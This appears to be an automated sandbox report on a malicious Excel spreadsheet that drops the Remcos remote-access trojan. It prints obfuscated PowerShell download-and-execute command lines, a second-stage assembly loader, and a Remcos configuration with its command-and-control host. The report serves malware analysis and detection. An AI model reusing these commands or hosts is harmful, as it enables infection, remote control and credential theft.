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Windows
Analysis Report
Sipari#U015f_listesi.xls
Overview
General Information
Sample name: | Sipari#U015f_listesi.xlsrenamed because original name is a hash value |
Original sample name: | Sipari_listesi.xls |
Analysis ID: | 1564464 |
MD5: | c47ccad59f8ba84f04632ae46e19f794 |
SHA1: | 279c6a65afde93c0aad3246770c88ed8e143b28d |
SHA256: | 391127bf5132f73f60a591a4f1a80511f152549b3b1ffaec3f02b806b6750e19 |
Tags: | xlsuser-nfsec_pl |
Infos: | |
Detection
Remcos, HTMLPhisher
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Contains functionality to bypass UAC (CMSTPLUA)
Detected Remcos RAT
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Sigma detected: Remcos
Suricata IDS alerts for network traffic
Yara detected HtmlPhish44
Yara detected Powershell download and execute
Yara detected Remcos RAT
Yara detected UAC Bypass using CMSTP
C2 URLs / IPs found in malware configuration
Contains functionality to register a low level keyboard hook
Contains functionality to steal Chrome passwords or cookies
Contains functionality to steal Firefox passwords or cookies
Contains functionalty to change the wallpaper
Delayed program exit found
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Injects a PE file into a foreign processes
Installs new ROOT certificates
Machine Learning detection for sample
Maps a DLL or memory area into another process
Microsoft Office drops suspicious files
PowerShell case anomaly found
Searches for Windows Mail specific files
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: File With Uncommon Extension Created By An Office Application
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious command line found
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Instant Messenger accounts or passwords
Tries to steal Mail credentials (via file / registry access)
Tries to steal Mail credentials (via file registry)
Uses dynamic DNS services
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Yara detected WebBrowserPassView password recovery tool
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Compiles C# or VB.Net code
Contains functionality for read data from the clipboard
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to detect virtual machines (SLDT)
Contains functionality to download and launch executables
Contains functionality to dynamically determine API calls
Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)
Contains functionality to enumerate running services
Contains functionality to launch a control a shell (cmd.exe)
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Document contains embedded VBA macros
Document embeds suspicious OLE2 link
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Excel Network Connections
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Suspicious Office Outbound Connections
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses Microsoft's Enhanced Cryptographic Provider
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Keylogger Generic
Yara signature match
Classification
- System is w7x64
- EXCEL.EXE (PID: 3328 cmdline:
"C:\Progra m Files\Mi crosoft Of fice\Offic e14\EXCEL. EXE" /auto mation -Em bedding MD5: D53B85E21886D2AF9815C377537BCAC3) - mshta.exe (PID: 3640 cmdline:
C:\Windows \System32\ mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5) - cmd.exe (PID: 3768 cmdline:
"C:\Window s\system32 \cmd.exe" "/C pOwErs heLl.exe -Ex ByPass -NOP -W 1 -C de VicecrEdEN tIaLdEPlOy mENt ; inv okE-EXprES siOn($(InV OKe-eXPReS sIoN('[syS tEm.texT.E NCodinG]'+ [chAR]0X3a +[chAr]0X3 a+'UTf8.gE tsTRiNG([s ysTem.cONV eRT]'+[cHa R]0X3a+[Ch ar]0X3A+'f ROmbase64s TRING('+[c hAr]0X22+' JFh0UWVUai AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgPSAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgYWRk LVRZUEUgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC 1tRU1iZXJk RUZJTml0SW 9uICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAnW0Rs bEltcG9ydC giVVJsbU9u LmRsbCIsIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC BDaGFyU2V0 ID0gQ2hhcl NldC5Vbmlj b2RlKV1wdW JsaWMgc3Rh dGljIGV4dG VybiBJbnRQ dHIgVVJMRG 93bmxvYWRU b0ZpbGUoSW 50UHRyICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICBs LHN0cmluZy AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgblRFT3cs c3RyaW5nIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC BZYVJhaExo Vyx1aW50IC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC Bhc29xTmNQ LEludFB0ci AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgV2EpOycg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg IC1uQU1FIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AiR1ZLVmx0 ViIgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIC1OQW 1lU1BBQ0Ug ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg IEVyYU1ZYl NPdmogICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgIC1Q YXNzVGhydT sgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICRYdFFl VGo6OlVSTE Rvd25sb2Fk VG9GaWxlKD AsImh0dHA6 Ly8xNzIuMj MyLjE3NS4x NjYvODA5L2 NyZWF0ZWRi ZXN0dGhpZ2 5zd2lodGVu dGlyZXRpbW VnaXZlbm1l YmVzdGZvcm V2ZXIudElG IiwiJGVuVj pBUFBEQVRB XGNyZWF0ZW RiZXN0dGhp Z25zd2lodG VudGlyZXRp bWVnaXZlbm 1lYmVzdGZv ci52YlMiLD AsMCk7U1RB clQtU0xlRV AoMyk7aWkg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICIkRU52Ok FQUERBVEFc Y3JlYXRlZG Jlc3R0aGln bnN3aWh0ZW 50aXJldGlt ZWdpdmVubW ViZXN0Zm9y LnZiUyI='+ [Char]34+' ))')))" MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41) - powershell.exe (PID: 3792 cmdline:
pOwErsheLl .exe -Ex ByPass -NOP -W 1 -C deVic ecrEdENtIa LdEPlOymEN t ; invokE -EXprESsiO n($(InVOKe -eXPReSsIo N('[syStEm .texT.ENCo dinG]'+[ch AR]0X3a+[c hAr]0X3a+' UTf8.gEtsT RiNG([sysT em.cONVeRT ]'+[cHaR]0 X3a+[Char] 0X3A+'fROm base64sTRI NG('+[chAr ]0X22+'JFh 0UWVUaiAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgP SAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgYWRkLVR ZUEUgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgIC1tR U1iZXJkRUZ JTml0SW9uI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAnW0RsbEl tcG9ydCgiV VJsbU9uLmR sbCIsICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICBDa GFyU2V0ID0 gQ2hhclNld C5Vbmljb2R lKV1wdWJsa WMgc3RhdGl jIGV4dGVyb iBJbnRQdHI gVVJMRG93b mxvYWRUb0Z pbGUoSW50U HRyICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICBsLHN 0cmluZyAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgb lRFT3csc3R yaW5nICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICBZY VJhaExoVyx 1aW50ICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICBhc 29xTmNQLEl udFB0ciAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgV 2EpOycgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgIC1 uQU1FICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAiR 1ZLVmx0ViI gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gIC1OQW1lU 1BBQ0UgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgIEV yYU1ZYlNPd mogICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgIC1QYXN zVGhydTsgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CRYdFFlVGo 6OlVSTERvd 25sb2FkVG9 GaWxlKDAsI mh0dHA6Ly8 xNzIuMjMyL jE3NS4xNjY vODA5L2NyZ WF0ZWRiZXN 0dGhpZ25zd 2lodGVudGl yZXRpbWVna XZlbm1lYmV zdGZvcmV2Z XIudElGIiw iJGVuVjpBU FBEQVRBXGN yZWF0ZWRiZ XN0dGhpZ25 zd2lodGVud GlyZXRpbWV naXZlbm1lY mVzdGZvci5 2YlMiLDAsM Ck7U1RBclQ tU0xlRVAoM yk7aWkgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICI kRU52OkFQU ERBVEFcY3J lYXRlZGJlc 3R0aGlnbnN 3aWh0ZW50a XJldGltZWd pdmVubWViZ XN0Zm9yLnZ iUyI='+[Ch ar]34+'))' )))" MD5: A575A7610E5F003CC36DF39E07C4BA7D) - csc.exe (PID: 3920 cmdline:
"C:\Window s\Microsof t.NET\Fram ework64\v4 .0.30319\c sc.exe" /n oconfig /f ullpaths @ "C:\Users\ user\AppDa ta\Local\T emp\1012d3 sk\1012d3s k.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1) - cvtres.exe (PID: 3928 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RES82B7.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\101 2d3sk\CSC1 85E2CF02A4 94FD98EB3E 2DDFFB62AF 5.TMP" MD5: C877CBB966EA5939AA2A17B6A5160950) - wscript.exe (PID: 3096 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\creat edbestthig nswihtenti retimegive nmebestfor .vbS" MD5: 045451FA238A75305CC26AC982472367) - powershell.exe (PID: 1484 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" $desprover = 'JGxhc2 lhbnRoZXJh ID0gJ2h0dH BzOi8vMzAx Mi5maWxlbW FpbC5jb20v YXBpL2ZpbG UvZ2V0P2Zp bGVrZXk9T0 YwZ0ZjeE1R Q1V3UFlsZV R5YjJZaDlh QlRwUmw5X0 tfTE9vVEtB cks0aXBNck g4TjBqaWJY clBZSm9Gdm pxYUs1MHFH dyZ0cmFjaz 1rclVOeXdF SiZza2lwcm VnPXRydWUm cGtfdmlkPW E2YTkyNjY0 Mzg5MzcxNG UxNzMyNzA4 OTE0MWQ5ND MyICc7JGVu Z29tYXIgPS BOZXctT2Jq ZWN0IFN5c3 RlbS5OZXQu V2ViQ2xpZW 50OyRyZXNv ID0gJGVuZ2 9tYXIuRG93 bmxvYWREYX RhKCRsYXNp YW50aGVyYS k7JGFmcmFn YXIgPSBbU3 lzdGVtLlRl eHQuRW5jb2 RpbmddOjpV VEY4LkdldF N0cmluZygk cmVzbyk7JG J1ZmlkbyA9 ICc8PEJBU0 U2NF9TVEFS VD4+JzskZX N0ZW5kYXJp YSA9ICc8PE JBU0U2NF9F TkQ+Pic7JG FzbmFtZW50 byA9ICRhZn JhZ2FyLklu ZGV4T2YoJG J1Zmlkbyk7 JHRyaWJ1bC A9ICRhZnJh Z2FyLkluZG V4T2YoJGVz dGVuZGFyaW EpOyRhc25h bWVudG8gLW dlIDAgLWFu ZCAkdHJpYn VsIC1ndCAk YXNuYW1lbn RvOyRhc25h bWVudG8gKz 0gJGJ1Zmlk by5MZW5ndG g7JHJhbmNh dHJpbGhhID 0gJHRyaWJ1 bCAtICRhc2 5hbWVudG87 JGx1cmdvID 0gJGFmcmFn YXIuU3Vic3 RyaW5nKCRh c25hbWVudG 8sICRyYW5j YXRyaWxoYS k7JHRhbGlz Y2EgPSAtam 9pbiAoJGx1 cmdvLlRvQ2 hhckFycmF5 KCkgfCBGb3 JFYWNoLU9i amVjdCB7IC RfIH0pWy0x Li4tKCRsdX Jnby5MZW5n dGgpXTskbH VmYWRhID0g W1N5c3RlbS 5Db252ZXJ0 XTo6RnJvbU Jhc2U2NFN0 cmluZygkdG FsaXNjYSk7 JGluY29udG FtaW5hZG8g PSBbU3lzdG VtLlJlZmxl Y3Rpb24uQX NzZW1ibHld OjpMb2FkKC RsdWZhZGEp OyRmb2xpZm 9ybWUgPSBb ZG5saWIuSU 8uSG9tZV0u R2V0TWV0aG 9kKCdWQUkn KTskZm9saW Zvcm1lLklu dm9rZSgkbn VsbCwgQCgn dHh0LkZHVl ZGR1IvOTA4 LzY2MS41Nz EuMjMyLjI3 MS8vOnB0dG gnLCAnJHN1 c3RvJywgJy RzdXN0bycs ICckc3VzdG 8nLCAnQ2Fz UG9sJywgJy RzdXN0bycs ICckc3VzdG 8nLCckc3Vz dG8nLCckc3 VzdG8nLCck c3VzdG8nLC ckc3VzdG8n LCckc3VzdG 8nLCcxJywn JHN1c3RvJy kpOw==';$l avajo = [S ystem.Text .Encoding] ::UTF8.Get String([Sy stem.Conve rt]::FromB ase64Strin g($desprov er));Invok e-Expressi on $lavajo MD5: A575A7610E5F003CC36DF39E07C4BA7D) - CasPol.exe (PID: 3536 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Cas Pol.exe" MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61) - CasPol.exe (PID: 3660 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\CasP ol.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\mk rbfyryejtj dkianmbpxi uuhuj" MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61) - CasPol.exe (PID: 3656 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\CasP ol.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\xm euxqcasrlo oyxewxwriv odiitksr" MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61) - CasPol.exe (PID: 3700 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\CasP ol.exe /st ext "C:\Us ers\user\A ppData\Loc al\Temp\zh jnyjntozdt qflifiikli burpktlcmp bo" MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61) - mshta.exe (PID: 3980 cmdline:
C:\Windows \System32\ mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5) - cmd.exe (PID: 1256 cmdline:
"C:\Window s\system32 \cmd.exe" "/C pOwErs heLl.exe -Ex ByPass -NOP -W 1 -C de VicecrEdEN tIaLdEPlOy mENt ; inv okE-EXprES siOn($(InV OKe-eXPReS sIoN('[syS tEm.texT.E NCodinG]'+ [chAR]0X3a +[chAr]0X3 a+'UTf8.gE tsTRiNG([s ysTem.cONV eRT]'+[cHa R]0X3a+[Ch ar]0X3A+'f ROmbase64s TRING('+[c hAr]0X22+' JFh0UWVUai AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgPSAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgYWRk LVRZUEUgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC 1tRU1iZXJk RUZJTml0SW 9uICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAnW0Rs bEltcG9ydC giVVJsbU9u LmRsbCIsIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC BDaGFyU2V0 ID0gQ2hhcl NldC5Vbmlj b2RlKV1wdW JsaWMgc3Rh dGljIGV4dG VybiBJbnRQ dHIgVVJMRG 93bmxvYWRU b0ZpbGUoSW 50UHRyICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICBs LHN0cmluZy AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgblRFT3cs c3RyaW5nIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC BZYVJhaExo Vyx1aW50IC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC Bhc29xTmNQ LEludFB0ci AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgV2EpOycg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg IC1uQU1FIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AiR1ZLVmx0 ViIgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIC1OQW 1lU1BBQ0Ug ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg IEVyYU1ZYl NPdmogICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgIC1Q YXNzVGhydT sgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICRYdFFl VGo6OlVSTE Rvd25sb2Fk VG9GaWxlKD AsImh0dHA6 Ly8xNzIuMj MyLjE3NS4x NjYvODA5L2 NyZWF0ZWRi ZXN0dGhpZ2 5zd2lodGVu dGlyZXRpbW VnaXZlbm1l YmVzdGZvcm V2ZXIudElG IiwiJGVuVj pBUFBEQVRB XGNyZWF0ZW RiZXN0dGhp Z25zd2lodG VudGlyZXRp bWVnaXZlbm 1lYmVzdGZv ci52YlMiLD AsMCk7U1RB clQtU0xlRV AoMyk7aWkg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICIkRU52Ok FQUERBVEFc Y3JlYXRlZG Jlc3R0aGln bnN3aWh0ZW 50aXJldGlt ZWdpdmVubW ViZXN0Zm9y LnZiUyI='+ [Char]34+' ))')))" MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41) - powershell.exe (PID: 1324 cmdline:
pOwErsheLl .exe -Ex ByPass -NOP -W 1 -C deVic ecrEdENtIa LdEPlOymEN t ; invokE -EXprESsiO n($(InVOKe -eXPReSsIo N('[syStEm .texT.ENCo dinG]'+[ch AR]0X3a+[c hAr]0X3a+' UTf8.gEtsT RiNG([sysT em.cONVeRT ]'+[cHaR]0 X3a+[Char] 0X3A+'fROm base64sTRI NG('+[chAr ]0X22+'JFh 0UWVUaiAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgP SAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgYWRkLVR ZUEUgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgIC1tR U1iZXJkRUZ JTml0SW9uI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAnW0RsbEl tcG9ydCgiV VJsbU9uLmR sbCIsICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICBDa GFyU2V0ID0 gQ2hhclNld C5Vbmljb2R lKV1wdWJsa WMgc3RhdGl jIGV4dGVyb iBJbnRQdHI gVVJMRG93b mxvYWRUb0Z pbGUoSW50U HRyICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICBsLHN 0cmluZyAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgb lRFT3csc3R yaW5nICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICBZY VJhaExoVyx 1aW50ICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICBhc 29xTmNQLEl udFB0ciAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgV 2EpOycgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgIC1 uQU1FICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAiR 1ZLVmx0ViI gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gIC1OQW1lU 1BBQ0UgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgIEV yYU1ZYlNPd mogICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgIC1QYXN zVGhydTsgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CRYdFFlVGo 6OlVSTERvd 25sb2FkVG9 GaWxlKDAsI mh0dHA6Ly8 xNzIuMjMyL jE3NS4xNjY vODA5L2NyZ WF0ZWRiZXN 0dGhpZ25zd 2lodGVudGl yZXRpbWVna XZlbm1lYmV zdGZvcmV2Z XIudElGIiw iJGVuVjpBU FBEQVRBXGN yZWF0ZWRiZ XN0dGhpZ25 zd2lodGVud GlyZXRpbWV naXZlbm1lY mVzdGZvci5 2YlMiLDAsM Ck7U1RBclQ tU0xlRVAoM yk7aWkgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICI kRU52OkFQU ERBVEFcY3J lYXRlZGJlc 3R0aGlnbnN 3aWh0ZW50a XJldGltZWd pdmVubWViZ XN0Zm9yLnZ iUyI='+[Ch ar]34+'))' )))" MD5: A575A7610E5F003CC36DF39E07C4BA7D) - csc.exe (PID: 2168 cmdline:
"C:\Window s\Microsof t.NET\Fram ework64\v4 .0.30319\c sc.exe" /n oconfig /f ullpaths @ "C:\Users\ user\AppDa ta\Local\T emp\oerqob ky\oerqobk y.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1) - cvtres.exe (PID: 2556 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RESAA05.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\oer qobky\CSC7 CE8CD1AF8F A450C9BA47 DDDFCB379F .TMP" MD5: C877CBB966EA5939AA2A17B6A5160950) - wscript.exe (PID: 2928 cmdline:
"C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\creat edbestthig nswihtenti retimegive nmebestfor .vbS" MD5: 045451FA238A75305CC26AC982472367) - powershell.exe (PID: 2460 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" $desprover = 'JGxhc2 lhbnRoZXJh ID0gJ2h0dH BzOi8vMzAx Mi5maWxlbW FpbC5jb20v YXBpL2ZpbG UvZ2V0P2Zp bGVrZXk9T0 YwZ0ZjeE1R Q1V3UFlsZV R5YjJZaDlh QlRwUmw5X0 tfTE9vVEtB cks0aXBNck g4TjBqaWJY clBZSm9Gdm pxYUs1MHFH dyZ0cmFjaz 1rclVOeXdF SiZza2lwcm VnPXRydWUm cGtfdmlkPW E2YTkyNjY0 Mzg5MzcxNG UxNzMyNzA4 OTE0MWQ5ND MyICc7JGVu Z29tYXIgPS BOZXctT2Jq ZWN0IFN5c3 RlbS5OZXQu V2ViQ2xpZW 50OyRyZXNv ID0gJGVuZ2 9tYXIuRG93 bmxvYWREYX RhKCRsYXNp YW50aGVyYS k7JGFmcmFn YXIgPSBbU3 lzdGVtLlRl eHQuRW5jb2 RpbmddOjpV VEY4LkdldF N0cmluZygk cmVzbyk7JG J1ZmlkbyA9 ICc8PEJBU0 U2NF9TVEFS VD4+JzskZX N0ZW5kYXJp YSA9ICc8PE JBU0U2NF9F TkQ+Pic7JG FzbmFtZW50 byA9ICRhZn JhZ2FyLklu ZGV4T2YoJG J1Zmlkbyk7 JHRyaWJ1bC A9ICRhZnJh Z2FyLkluZG V4T2YoJGVz dGVuZGFyaW EpOyRhc25h bWVudG8gLW dlIDAgLWFu ZCAkdHJpYn VsIC1ndCAk YXNuYW1lbn RvOyRhc25h bWVudG8gKz 0gJGJ1Zmlk by5MZW5ndG g7JHJhbmNh dHJpbGhhID 0gJHRyaWJ1 bCAtICRhc2 5hbWVudG87 JGx1cmdvID 0gJGFmcmFn YXIuU3Vic3 RyaW5nKCRh c25hbWVudG 8sICRyYW5j YXRyaWxoYS k7JHRhbGlz Y2EgPSAtam 9pbiAoJGx1 cmdvLlRvQ2 hhckFycmF5 KCkgfCBGb3 JFYWNoLU9i amVjdCB7IC RfIH0pWy0x Li4tKCRsdX Jnby5MZW5n dGgpXTskbH VmYWRhID0g W1N5c3RlbS 5Db252ZXJ0 XTo6RnJvbU Jhc2U2NFN0 cmluZygkdG FsaXNjYSk7 JGluY29udG FtaW5hZG8g PSBbU3lzdG VtLlJlZmxl Y3Rpb24uQX NzZW1ibHld OjpMb2FkKC RsdWZhZGEp OyRmb2xpZm 9ybWUgPSBb ZG5saWIuSU 8uSG9tZV0u R2V0TWV0aG 9kKCdWQUkn KTskZm9saW Zvcm1lLklu dm9rZSgkbn VsbCwgQCgn dHh0LkZHVl ZGR1IvOTA4 LzY2MS41Nz EuMjMyLjI3 MS8vOnB0dG gnLCAnJHN1 c3RvJywgJy RzdXN0bycs ICckc3VzdG 8nLCAnQ2Fz UG9sJywgJy RzdXN0bycs ICckc3VzdG 8nLCckc3Vz dG8nLCckc3 VzdG8nLCck c3VzdG8nLC ckc3VzdG8n LCckc3VzdG 8nLCcxJywn JHN1c3RvJy kpOw==';$l avajo = [S ystem.Text .Encoding] ::UTF8.Get String([Sy stem.Conve rt]::FromB ase64Strin g($desprov er));Invok e-Expressi on $lavajo MD5: A575A7610E5F003CC36DF39E07C4BA7D) - CasPol.exe (PID: 3688 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\Cas Pol.exe" MD5: 8AD6D0D81FEC2856B8DCABEE8D678F61)
- cleanup
Name | Description | Attribution | Blogpost URLs | Link |
---|---|---|---|---|
Remcos, RemcosRAT | Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity. |
{"Host:Port:Password": ["newbeggin.duckdns.org:2431:1"], "Assigned name": "RemoteHost", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-8FCP5S", "Keylog flag": "0", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "1", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Remcos", "Keylog folder": "remcos"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_HtmlPhish_44 | Yara detected HtmlPhish_44 | Joe Security |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Keylogger_Generic | Yara detected Keylogger Generic | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
Windows_Trojan_Remcos_b296e965 | unknown | unknown |
| |
REMCOS_RAT_variants | unknown | unknown |
| |
Click to see the 11 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_Keylogger_Generic | Yara detected Keylogger Generic | Joe Security | ||
JoeSecurity_Remcos | Yara detected Remcos RAT | Joe Security | ||
JoeSecurity_UACBypassusingCMSTP | Yara detected UAC Bypass using CMSTP | Joe Security | ||
Windows_Trojan_Remcos_b296e965 | unknown | unknown |
| |
REMCOS_RAT_variants | unknown | unknown |
| |
Click to see the 7 entries |
System Summary |
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Source: | Author: Florian Roth (Nextron Systems): |